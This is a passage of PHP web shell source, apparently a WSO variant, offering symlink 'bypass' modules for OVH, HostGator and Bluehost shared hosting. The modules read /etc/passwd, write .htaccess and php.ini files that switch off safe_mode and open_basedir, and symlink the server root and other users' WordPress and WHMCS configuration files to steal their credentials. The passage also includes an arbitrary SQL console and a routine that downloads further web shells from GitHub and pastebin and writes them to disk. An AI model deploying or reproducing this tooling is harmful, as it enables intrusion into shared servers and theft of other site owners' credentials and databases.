  3246. ?>
  3247. <center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink</font><p>
  3248. <input type=submit name="aglts" value="Extract usernames" /></form></center>
  3249. <?php if(isset($_POST['aglts'])){ ?><center><form method=post><textarea rows=10 cols=50 name=user>
  3250. <?php $users=file("/etc/passwd"); foreach($users as $user){ $str=explode(":",$user); echo $str[0]."n"; }
  3251. ?></textarea><br><br><input type=submit name=su value="Bypass Configs" /></form></center><?php } ?>
  3252. <?php error_reporting(0); if(isset($_POST['su'])){ mkdir('aglite',0777); $rr = " <Files *.php> n ForceType application/x-httpd-php4 n </Files> ";
  3253. $g = fopen('aglite/.htaccess','w'); fwrite($g,$rr); $virusa = symlink("/","aglite/root");
  3254. $rt="<a href=aglite/root><font color=#ff0000 size=2 face="comic sans ms"> Bypassed Successfully ^_^</font></a>";
  3255. echo "Check link given below for / folder symlink <br><u>$rt</u>"; mkdir('aglite',0777);
  3256. $rr = " safe_mode = Off ";
  3257. $g = fopen('aglite/php.ini','w');
  3258. fwrite($g,$rr);
  3259. $virusa = symlink("/","aglite/root");
  3260. mkdir('aglite',0777);
  3261. $file = file_get_contents('http://www.municipiodesuscal.gob.ec/suscal/includes/htaccess.txt');
  3262. $g = fopen('aglite/ini.php', 'w');
  3263. fwrite($g,$file); fclose($g);
  3264. $virusa = symlink("/","aglite/root"); fwrite($f,$r);
  3265. $consym="<a href=aglite/><font color=#ff0000 size=2 face="comic sans ms">configuration files</font></a>";
  3266. echo "<br>The link given below is for configs path symlink, you can view Configs inside the Source Code <br><u><font color=#58FAF4 size=2 face="comic sans ms">$consym</font></u>";
  3267. $configuration=array("wp-config.shtml","wordpress/wp-config.shtml","configuration.shtml","blog/wp-config.shtml","joomla/configuration.shtml","vb/includes/config.shtml","includes/config.shtml","conf_global.shtml","inc/config.shtml","config.shtml","Settings.shtml","sites/default/settings.shtml","whm/configuration.shtml","whmcs/configuration.shtml","support/configuration.shtml","whmc/WHM/configuration.shtml","whm/WHMCS/configuration.shtml","whm/whmcs/configuration.shtml","support/configuration.shtml","clients/configuration.shtml","client/configuration.shtml","clientes/configuration.shtml","cliente/configuration.shtml","clientsupport/configuration.shtml","billing/configuration.shtml","admin/config.shtml");
  3268. foreach($usr as $uss ){ $us=trim($uss);
  3269. foreach($configuration as $c){
  3270. $rs="/home/".$us."/public_html/".$c;
  3271. $r="aglite/".$us." .. ".$c; symlink($rs,$r); }}}}
  3272. //////////////////////// OVH //////////////////////
  3273. elseif(isset($_GET['x']) && ($_GET['x'] == 'agovh'))
  3274. {
  3275. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Symlink OVH Server Priv8 By Mauritania Attacker</span><br><div class=content>";
  3276. ?>
  3277. <center><img src="http://i1-news.softpedia-static.com/images/news2/French-Web-Hosting-Company-OVH-Admits-Being-Hacked-370166-2.png"></center>
  3278. <center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p>
  3279. <input type=submit name="agovh" value="Extract usernames" /></form></center>
  3280. <?php if(isset($_POST['agovh'])){ ?>
  3281. <form method=post><textarea rows=10 cols=50 name=user>
  3282. <?php $users=file("/etc/passwd");
  3283. foreach($users as $user){ $str=explode(":",$user);
  3284. echo $str[0]."n"; } ?></textarea><br><br>
  3285. <input type=submit name=su value="OVH Bypass Configs" /></form><br><?php } ?>
  3286. <?php error_reporting(0);
  3287. echo "<font color=#58FAF4 size=2 face="Courier New">";
  3288. if(isset($_POST['su'])) {
  3289. mkdir('ovh',0755);
  3290. $rr = " AllowOverride All None n DirectoryIndex index.html index.htm index.php index.php4 index.php5 n AddType application/octet-stream .php n AddHandler server-parsed .php n Addhandler cgi-script .asp n AddType ini .php n AddHandler ini .php ";
  3291. $g = fopen('ovh/.htaccess','w');
  3292. fwrite($g,$rr); $ovh = symlink("/","ovh/root");
  3293. $rt="<a href=ovh/root><font color=#ff0000 size=2 face="Courier New"> OVH Bypassed Successfully ^_^ Check Permission !</font></a>";
  3294. echo "Check link given below for / folder symlink <br><b>$rt</b>";
  3295. mkdir('ovh',0755); $rr = " Safe_mode = OFF n Disable_functions = NONE n Open_basedir = OFF ";
  3296. $g = fopen('ovh/php.ini','w'); fwrite($g,$rr);
  3297. $ovh = symlink("/","ovh/root"); fwrite($f,$r);
  3298. $consym="<a href=ovh/><font color=#ff0000 size=2 face="Courier New">configuration files</font></a>";
  3299. echo "<br><font color=#58FAF4 size=2 face="Courier New">The link given below is for OVH configs path symlink, you can backconnect to the server with python script and retrieve ln /s root easily Good Chance ^_^ </font><br><b><font color=#58FAF4 size=2 face="Courier New">
  3300. $consym</font></b>";
  3301. $usr=explode("n",$_POST['user']);
  3302. $configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini");
  3303. foreach($usr as $uss ){ $us=trim($uss);
  3304. foreach($configuration as $c){
  3305. $rs="/homez.0/".$us."/www/".$c;
  3306. $rs="/homez.1/".$us."/www/".$c;
  3307. $rs="/homez.2/".$us."/www/".$c;
  3308. $rs="/homez.3/".$us."/www/".$c;
  3309. $rs="/homez.4/".$us."/www/".$c;
  3310. $rs="/homez.5/".$us."/www/".$c;
  3311. $rs="/homez.6/".$us."/www/".$c;
  3312. $rs="/homez.7/".$us."/www/".$c;
  3313. $rs="/homez.8/".$us."/www/".$c;
  3314. $rs="/homez.9/".$us."/www/".$c;
  3315. $rs="/homez.10/".$us."/www/".$c;
  3316. $rs="/homez.11/".$us."/www/".$c;
  3317. $rs="/homez.12/".$us."/www/".$c;
  3318. $rs="/homez.13/".$us."/www/".$c;
  3319. $rs="/homez.14/".$us."/www/".$c;
  3320. $rs="/homez.15/".$us."/www/".$c;
  3321. $rs="/homez.16/".$us."/www/".$c;
  3322. $rs="/homez.17/".$us."/www/".$c;
  3323. $rs="/homez.18/".$us."/www/".$c;
  3324. $rs="/homez.19/".$us."/www/".$c;
  3325. $rs="/homez.20/".$us."/www/".$c;
  3326. $rs="/homez.21/".$us."/www/".$c;
  3327. $rs="/homez.22/".$us."/www/".$c;
  3328. $rs="/homez.23/".$us."/www/".$c;
  3329. $rs="/homez.24/".$us."/www/".$c;
  3330. $rs="/homez.25/".$us."/www/".$c;
  3331. $rs="/homez.26/".$us."/www/".$c;
  3332. $rs="/homez.27/".$us."/www/".$c;
  3333. $rs="/homez.28/".$us."/www/".$c;
  3334. $rs="/homez.29/".$us."/www/".$c;
  3335. $rs="/homez.30/".$us."/www/".$c;
  3336. $rs="/homez.31/".$us."/www/".$c;
  3337. $rs="/homez.32/".$us."/www/".$c;
  3338. $rs="/homez.33/".$us."/www/".$c;
  3339. $rs="/homez.34/".$us."/www/".$c;
  3340. $rs="/homez.35/".$us."/www/".$c;
  3341. $rs="/homez.36/".$us."/www/".$c;
  3342. $rs="/homez.37/".$us."/www/".$c;
  3343. $rs="/homez.38/".$us."/www/".$c;
  3344. $rs="/homez.39/".$us."/www/".$c;
  3345. $rs="/homez.40/".$us."/www/".$c;
  3346. $rs="/homez.41/".$us."/www/".$c;
  3347. $rs="/homez.42/".$us."/www/".$c;
  3348. $rs="/homez.43/".$us."/www/".$c;
  3349. $rs="/homez.44/".$us."/www/".$c;
  3350. $rs="/homez.45/".$us."/www/".$c;
  3351. $rs="/homez.46/".$us."/www/".$c;
  3352. $rs="/homez.47/".$us."/www/".$c;
  3353. $rs="/homez.48/".$us."/www/".$c;
  3354. $rs="/homez.49/".$us."/www/".$c;
  3355. $rs="/homez.50/".$us."/www/".$c;
  3356. $rs="/homez.51/".$us."/www/".$c;
  3357. $rs="/homez.52/".$us."/www/".$c;
  3358. $rs="/homez.53/".$us."/www/".$c;
  3359. $rs="/homez.54/".$us."/www/".$c;
  3360. $rs="/homez.55/".$us."/www/".$c;
  3361. $rs="/homez.56/".$us."/www/".$c;
  3362. $rs="/homez.57/".$us."/www/".$c;
  3363. $rs="/homez.58/".$us."/www/".$c;
  3364. $rs="/homez.59/".$us."/www/".$c;
  3365. $rs="/homez.60/".$us."/www/".$c;
  3366. $rs="/homez.61/".$us."/www/".$c;
  3367. $rs="/homez.62/".$us."/www/".$c;
  3368. $rs="/homez.63/".$us."/www/".$c;
  3369. $rs="/homez.64/".$us."/www/".$c;
  3370. $rs="/homez.65/".$us."/www/".$c;
  3371. $rs="/homez.66/".$us."/www/".$c;
  3372. $rs="/homez.67/".$us."/www/".$c;
  3373. $rs="/homez.68/".$us."/www/".$c;
  3374. $rs="/homez.69/".$us."/www/".$c;
  3375. $rs="/homez.70/".$us."/www/".$c;
  3376. $rs="/homez.71/".$us."/www/".$c;
  3377. $rs="/homez.72/".$us."/www/".$c;
  3378. $rs="/homez.73/".$us."/www/".$c;
  3379. $rs="/homez.74/".$us."/www/".$c;
  3380. $rs="/homez.75/".$us."/www/".$c;
  3381. $rs="/homez.76/".$us."/www/".$c;
  3382. $rs="/homez.77/".$us."/www/".$c;
  3383. $rs="/homez.78/".$us."/www/".$c;
  3384. $rs="/homez.79/".$us."/www/".$c;
  3385. $rs="/homez.80/".$us."/www/".$c;
  3386. $rs="/homez.81/".$us."/www/".$c;
  3387. $rs="/homez.82/".$us."/www/".$c;
  3388. $rs="/homez.83/".$us."/www/".$c;
  3389. $rs="/homez.84/".$us."/www/".$c;
  3390. $rs="/homez.85/".$us."/www/".$c;
  3391. $rs="/homez.86/".$us."/www/".$c;
  3392. $rs="/homez.87/".$us."/www/".$c;
  3393. $rs="/homez.88/".$us."/www/".$c;
  3394. $rs="/homez.89/".$us."/www/".$c;
  3395. $rs="/homez.100/".$us."/www/".$c;
  3396. $rs="/homez.101/".$us."/www/".$c;
  3397. $rs="/homez.102/".$us."/www/".$c;
  3398. $rs="/homez.103/".$us."/www/".$c;
  3399. $rs="/homez.104/".$us."/www/".$c;
  3400. $rs="/homez.105/".$us."/www/".$c;
  3401. $rs="/homez.106/".$us."/www/".$c;
  3402. $rs="/homez.107/".$us."/www/".$c;
  3403. $rs="/homez.108/".$us."/www/".$c;
  3404. $rs="/homez.109/".$us."/www/".$c;
  3405. $rs="/homez.110/".$us."/www/".$c;
  3406. $rs="/homez.111/".$us."/www/".$c;
  3407. $rs="/homez.112/".$us."/www/".$c;
  3408. $rs="/homez.113/".$us."/www/".$c;
  3409. $rs="/homez.114/".$us."/www/".$c;
  3410. $rs="/homez.115/".$us."/www/".$c;
  3411. $rs="/homez.116/".$us."/www/".$c;
  3412. $rs="/homez.117/".$us."/www/".$c;
  3413. $rs="/homez.118/".$us."/www/".$c;
  3414. $rs="/homez.119/".$us."/www/".$c;
  3415. $rs="/homez.120/".$us."/www/".$c;
  3416. $rs="/homez.121/".$us."/www/".$c;
  3417. $rs="/homez.122/".$us."/www/".$c;
  3418. $rs="/homez.123/".$us."/www/".$c;
  3419. $rs="/homez.124/".$us."/www/".$c;
  3420. $rs="/homez.125/".$us."/www/".$c;
  3421. $rs="/homez.126/".$us."/www/".$c;
  3422. $rs="/homez.127/".$us."/www/".$c;
  3423. $rs="/homez.128/".$us."/www/".$c;
  3424. $rs="/homez.129/".$us."/www/".$c;
  3425. $rs="/homez.130/".$us."/www/".$c;
  3426. $r="ovh/".$us." .. ".$c; symlink($rs,$r);}}}}
  3427.  
  3428. ///////////////// HOSTGATOR /////////////////
  3429. elseif(isset($_GET['x']) && ($_GET['x'] == 'hostg'))
  3430. {
  3431. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Symlink HostGator Server ('.ini') Extension Method Priv8 By Mauritania Attacker</span><br><div class=content>";
  3432. ?>
  3433. <center>
  3434. <img src="http://www.taylorclark.co/wp-content/uploads/2013/06/Hostgator-VS-Amazon.jpg"></center>
  3435. <center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font>
  3436. <p><input type=submit name="hostg" value="Extract usernames" /></form></center>
  3437. <?php
  3438. if(isset($_POST['hostg'])){ ?>
  3439. <form method=post><textarea rows=10 cols=50 name=user>
  3440. <?php
  3441. $users=file("/etc/passwd");
  3442. foreach($users as $user){ $str=explode(":",$user);
  3443. echo $str[0]."n"; }
  3444. ?></textarea><br><br>
  3445. <input type=submit name=su value="Bypass HostGator Configs" /></form>
  3446. <?php } ?>
  3447. <?php error_reporting(0);
  3448. echo "<font color=#58FAF4 size=2 face="Courier New">";
  3449. if(isset($_POST['su'])){ mkdir('HostGator',0755);$rr = " Options +FollowSymLinks n DirectoryIndex Sux.html n Options +Indexes n AddType text/plain .php n AddHandler server-parsed .php n AddType text/plain.html ";
  3450. $g = fopen('HostGator/.htaccess','w');
  3451. fwrite($g,$rr);
  3452. $HostGator = symlink("/","HostGator/root");
  3453. $rt="<a href=HostGator/root><font color=#ff0000 size=2 face="Courier New"> Bypassed Successfully</font></a>";
  3454. echo "Check link given below for / folder symlink <br><b>
  3455. $rt</b>"; mkdir('HostGator',0755); $rr = " Safe_mode = OFF n Disable_functions = NONE n Open_basedir = OFF ";
  3456. $g = fopen('HostGator/php.ini','w');
  3457. fwrite($g,$rr);
  3458. $HostGator = symlink("/","HostGator/root");
  3459. fwrite($f,$r);
  3460. $consym="<a href=HostGator/><font color=#ff0000 size=2 face="Courier New">configuration files</font></a>";
  3461. echo "<br><font color=#58FAF4 size=2 face="Courier New">The link given below is for configs path symlink, If Forbidden you can view Configs inside the Source Code By Creating an shtml File and including virtual name of the config name Or Just Back Connect to the server and retrieve root manually ln -s / Good Chance ^_^ </font><br><b><font color=#58FAF4 size=2 face="Courier New">
  3462. $consym</font></b>";
  3463. $usr=explode("n",$_POST['user']);
  3464. $configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini"); foreach($usr as $uss ){ $us=trim($uss); foreach($configuration as $c){ $rs="/home/".$us."/public_html/".$c;
  3465. $r="HostGator/".$us." .. ".$c; symlink($rs,$r); }}}}
  3466. ///////////////////// BLUEHOST ///////////////////
  3467. elseif(isset($_GET['x']) && ($_GET['x'] == 'blhost'))
  3468. {
  3469. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Bluehost Symlink Bypass Priv8 By Mauritania Attacker | Kaizen</span><br><div class=content>";
  3470. ?>
  3471. <center><img src="http://gocomparehosting.com/wp-content/uploads/2016/10/logo-bluehost.png"></center>
  3472.  
  3473. <center>
  3474. <form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p>
  3475. <input type=submit name="blhost" value="Extract usernames" /></form></center>
  3476.  
  3477. <?php
  3478. if(isset($_POST['blhost'])){
  3479. ?><form method=post>
  3480. <textarea rows=10 cols=50 name=user><?php $users=file("/etc/passwd");
  3481. foreach($users as $user)
  3482. {
  3483. $str=explode(":",$user);
  3484. echo $str[0]."n";
  3485. }
  3486.  
  3487. ?></textarea><br><br>
  3488. <input type=submit name=su value="Bluehost Bypass Configs" /></form>
  3489. <?php } ?>
  3490. <?php
  3491. error_reporting(0);
  3492. echo "<font color=#58FAF4 size=2 face="Courier New">";
  3493. if(isset($_POST['su']))
  3494. {
  3495. mkdir('bluehost',0755);
  3496. $rr = " AllowOverride All None n DirectoryIndex index.html index.htm index.php index.php4 index.php5 n AddType application/octet-stream .php n AddHandler server-parsed .php n Addhandler cgi-script .asp n AddType ini .php n AddHandler ini .php ";
  3497. $g = fopen('bluehost/.htaccess','w');
  3498. fwrite($g,$rr);
  3499. $bluehost = symlink("/","bluehost/root");
  3500. $rt="<a href=bluehost/root><font color=#ff0000 size=2 face="Courier New"> Bypassed Successfully ^_^</font></a>";
  3501. echo "Check link given below for / folder symlink <br><b>$rt</b>";
  3502.  
  3503. mkdir('bluehost',0755);
  3504. $rr = " Safe_mode = OFF n Disable_functions = NONE n Open_basedir = OFF ";
  3505. $g = fopen('bluehost/php.ini','w');
  3506. fwrite($g,$rr);
  3507. $bluehost = symlink("/","bluehost/root");
  3508.  
  3509. fwrite($f,$r);
  3510. $consym="<a href=bluehost/><font color=#ff0000 size=2 face="Courier New">configuration files</font></a>";
  3511. echo "<br>The link given below is for configs path symlink, you can view Configs inside the Source Code if not backconnect to the server with perl script and read Configs easily Good Chance ^_^ <br><b><font color=#58FAF4 size=2 face="Courier New">$consym</font></b>";
  3512.  
  3513. $usr=explode("n",$_POST['user']);
  3514. $configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini");
  3515. foreach($usr as $uss )
  3516. {
  3517. $us=trim($uss);
  3518.  
  3519. foreach($configuration as $c)
  3520. {
  3521. $rs="/home/".$us."/public_html/".$c;
  3522. $rs="/home1/".$us."/public_html/".$c;
  3523. $rs="/home2/".$us."/public_html/".$c;
  3524. $rs="/home3/".$us."/public_html/".$c;
  3525. $rs="/home4/".$us."/public_html/".$c;
  3526. $rs="/home5/".$us."/public_html/".$c;
  3527. $rs="/home6/".$us."/public_html/".$c;
  3528. $rs="/home7/".$us."/public_html/".$c;
  3529. $rs="/home8/".$us."/public_html/".$c;
  3530. $r="bluehost/".$us." .. ".$c;
  3531. symlink($rs,$r);
  3532.  
  3533. }
  3534.  
  3535. }
  3536. }
  3537.  
  3538. }
  3539. //////////////////////////////////////////////////////
  3540.  
  3541. elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql'))
  3542. {
  3543. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>MySQL & PostgreSql Connect</span><br><div class=content>
  3544. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  3545. <td><font face='Tahoma' color='#3498DB' size='2pt' />Type</td><td><font face='Tahoma' color='#3498DB' size='2pt' />Host</td><td><font face='Tahoma' color='#3498DB' size='2pt' />Login</td><td><font face='Tahoma' color='#3498DB' size='2pt' />Password</td><td><font face='Tahoma' color='#3498DB' size='2pt' />Database</td><td></td></font></tr><tr>
  3546. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  3547. <center><color='black'><td><select name='type'><option value='mysql' ";
  3548. if(@$_POST['type']=='mysql')echo 'selected';
  3549. echo ">MySql</option><option value='pgsql' ";
  3550. if(@$_POST['type']=='pgsql')echo 'selected';
  3551. echo ">PostgreSql</option></select></td>
  3552. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  3553. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  3554. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  3555. $tmp = "<input type=text name=sql_base value=''>";
  3556. if(isset($_POST['sql_host'])){
  3557. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  3558. switch($_POST['charset']) {
  3559. case "Windows-1251": $db->setCharset('cp1251'); break;
  3560. case "UTF-8": $db->setCharset('utf8'); break;
  3561. case "KOI8-R": $db->setCharset('koi8r'); break;
  3562. case "KOI8-U": $db->setCharset('koi8u'); break;
  3563. case "cp866": $db->setCharset('cp866'); break;
  3564. }
  3565. $db->listDbs();
  3566. echo "<select name=sql_base><option value=''></option>";
  3567. while($item = $db->fetch()) {
  3568. list($key, $value) = each($item);
  3569. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  3570. }
  3571. echo '</select>';
  3572. }
  3573. else echo $tmp;
  3574. }else
  3575. echo $tmp;
  3576. echo "</td>
  3577.  
  3578. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  3579. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <font face='Tahoma' color='#3498DB' size='2pt' />count the number of rows</td></center> <br>
  3580. </tr>
  3581. </table> <br>
  3582. <script>
  3583. s_db='".@addslashes($_POST['sql_base'])."';
  3584. function fs(f) {
  3585. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  3586. if(f.p1) f.p1.value='';
  3587. if(f.p2) f.p2.value='';
  3588. if(f.p3) f.p3.value='';
  3589. }
  3590. }
  3591. function st(t,l) {
  3592. d.sf.p1.value = 'select';
  3593. d.sf.p2.value = t;
  3594. if(l && d.sf.p3) d.sf.p3.value = l;
  3595. d.sf.submit();
  3596. }
  3597. function is() {
  3598. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  3599. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  3600. }
  3601. </script>";
  3602. if(isset($db) && $db->link){
  3603. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  3604. if(!empty($_POST['sql_base'])){
  3605. $db->selectdb($_POST['sql_base']);
  3606. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  3607. $tbls_res = $db->listTables();
  3608. while($item = $db->fetch($tbls_res)) {
  3609. list($key, $value) = each($item);
  3610. if(!empty($_POST['sql_count']))
  3611. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  3612. $value = htmlspecialchars($value);
  3613. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick="st('".$value."',1)">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  3614. }
  3615. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value="download";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  3616. if(@$_POST['p1'] == 'select') {
  3617. $_POST['p1'] = 'query';
  3618. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  3619. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  3620. $num = $db->fetch();
  3621. $pages = ceil($num['n'] / 30);
  3622. echo "<script>d.sf.onsubmit=function(){st("" . $_POST['p2'] . "", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  3623. echo " of $pages";
  3624. if($_POST['p3'] > 1)
  3625. echo " <a href=# onclick='st("" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  3626. if($_POST['p3'] < $pages)
  3627. echo " <a href=# onclick='st("" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  3628. $_POST['p3']--;
  3629. if($_POST['type']=='pgsql')
  3630. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  3631. else
  3632. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  3633. echo "<br><br>";
  3634. }
  3635. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  3636. $db->query(@$_POST['p2']);
  3637. if($db->res !== false) {
  3638. $title = false;
  3639. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  3640. $line = 1;
  3641. while($item = $db->fetch()) {
  3642. if(!$title) {
  3643. echo '<tr>';
  3644. foreach($item as $key => $value)
  3645. echo '<th>'.$key.'</th>';
  3646. reset($item);
  3647. $title=true;
  3648. echo '</tr><tr>';
  3649. $line = 2;
  3650. }
  3651. echo '<tr class="l'.$line.'">';
  3652. $line = $line==1?2:1;
  3653. foreach($item as $key => $value) {
  3654. if($value == null)
  3655. echo '<td><i>null</i></td>';
  3656. else
  3657. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  3658. }
  3659. echo '</tr>';
  3660. }
  3661. echo '</table>';
  3662. } else {
  3663. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  3664. }
  3665. }
  3666. echo "<br></form><form onsubmit='d.sf.p1.value="query";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  3667. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  3668. echo htmlspecialchars($_POST['p2']);
  3669. echo "</textarea><br/><input type=submit value='Execute'>";
  3670. echo "</td></tr>";
  3671. }
  3672. echo "</table></form></center><br/>";
  3673. if($_POST['type']=='mysql') {
  3674. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  3675. if($db->fetch())
  3676. echo "<form onsubmit='d.sf.p1.value="loadfile";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  3677. }
  3678. if(@$_POST['p1'] == 'loadfile') {
  3679. $file = $db->loadFile($_POST['p2']);
  3680. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  3681. }
  3682. } else {
  3683. echo htmlspecialchars($db->error());
  3684. }
  3685. echo '</div>';
  3686. wsoFooter();
  3687. }
  3688. /////////////////////////////////////////////////////
  3689. elseif(isset($_GET['x']) && ($_GET['x'] == 'get_tools'))
  3690. {
  3691. ?><center><br><br><h3>Write Tools</h3>
  3692. <table>
  3693. <tr><form method="post" action="">&nbsp;<td>
  3694. <select class="inputz" align="left" name="pilihan" id="pilih">
  3695. <option value="hsphere">Bypass hSphere Shell</option>
  3696. <option value="adminer">Adminer</option>
  3697. <option value="miniadmin">PHPMiniAdmin</option>
  3698. <option value="wso">WSO Shell</option>
  3699. </select>
  3700. <input type="submit" name="submites" class="inputz" value="create">
  3701. </td></form></tr></table><br/><br/><br/>
  3702. <?php
  3703. function gettool($filename,$link){
  3704. $get = file_get_contents($link);
  3705. file_put_contents($filename.'.php', $get);
  3706. echo '<script>alert("Done ! ");</script>';
  3707. echo 'Berhasil => '.' '.'<a href="'.$filename.'.php" target="_blank">'.$filename.'.php</a>';
  3708. }
  3709. $submit = $_POST ['submites'];
  3710. if(isset($submit)) {
  3711. $pilih = $_POST['pilihan'];
  3712. ///hsphere shell
  3713. if ( $pilih == 'hsphere') {
  3714. gettool("hsphere","https://raw.githubusercontent.com/sinkaroid/pasirmerah/sc0/sc0hsphere.php");
  3715. }
  3716. elseif ( $pilih == 'adminer') {
  3717. gettool("adminer","https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php");
  3718. }elseif($pilih == 'miniadmin'){
  3719. gettool("sqlminiadmin","https://pastebin.com/raw/iHSNkKmg");
  3720. }elseif( $pilih == 'wso'){
  3721. gettool("wso","https://raw.githubusercontent.com/tennc/webshell/master/php/wso/WSO_base64.php");
  3722. }
  3723. }
  3724. exit();
  3725. }
  3726. elseif(isset($_GET['x']) && ($_GET['x'] == 'set_bg'))
  3727. {
  3728. ?>
  3729. <center>
  3730. <form action="?sad=<?php echo $pwd; ?>&amp;x=settings" method="POST">
  3731. <table>
  3732. <tr>
  3733. <td><h7>Appearance Setting</h7></td>
  3734. </tr>
  3735. <tr>
  3736. <td>Background Shell</td><td>:</td><td><input type="text" name="bg_shell" class="inputz" placeholder="link image" style="width:200px"></td>
  3737. </tr>
  3738. <tr>
  3739. <td></td><td></td><td><input type="submit" name="submit" class="inputzbut"></td>
  3740. </tr>
  3741. </form>
  3742. </table>
  3743. <?php
  3744. exit();
  3745. }
  3746.  
  3747. elseif(isset($_GET['x']) && ($_GET['x'] == 'set_login'))
  3748. {
  3749. ?>
  3750. <center>
  3751. <form action="?sad=<?php echo $pwd; ?>&amp;x=settings" method="POST">
  3752. <table>
  3753. <tr>
  3754. <td><h7>Appearance Setting</h7></td>
  3755. </tr>
  3756. <tr>
  3757. <td>Login Background</td><td>:</td><td><input type="text" name="bg_login" class="inputz" placeholder="link image" style="width:200px"></td>
  3758. </tr>
  3759. <tr>
  3760. <td></td><td></td><td><input type="submit" name="submit" class="inputzbut" value="submit setting"></td>
  3761. </tr>
  3762. </form>
  3763. </table>
  3764. <?php
  3765. exit();
  3766. }
  3767. elseif(isset($_GET['x']) && ($_GET['x'] == 'bypasser'))
  3768. {
  3769. echo "<center><br/><br/>Choose Bypasser Below<br/><br/>"; ?>
  3770. <a href="?<?php echo "path=".$path; ?>&amp;x=bysysfuncwsf"><input class=bordergaya type=submit value="Bypass Root Path With System Function" /></a>
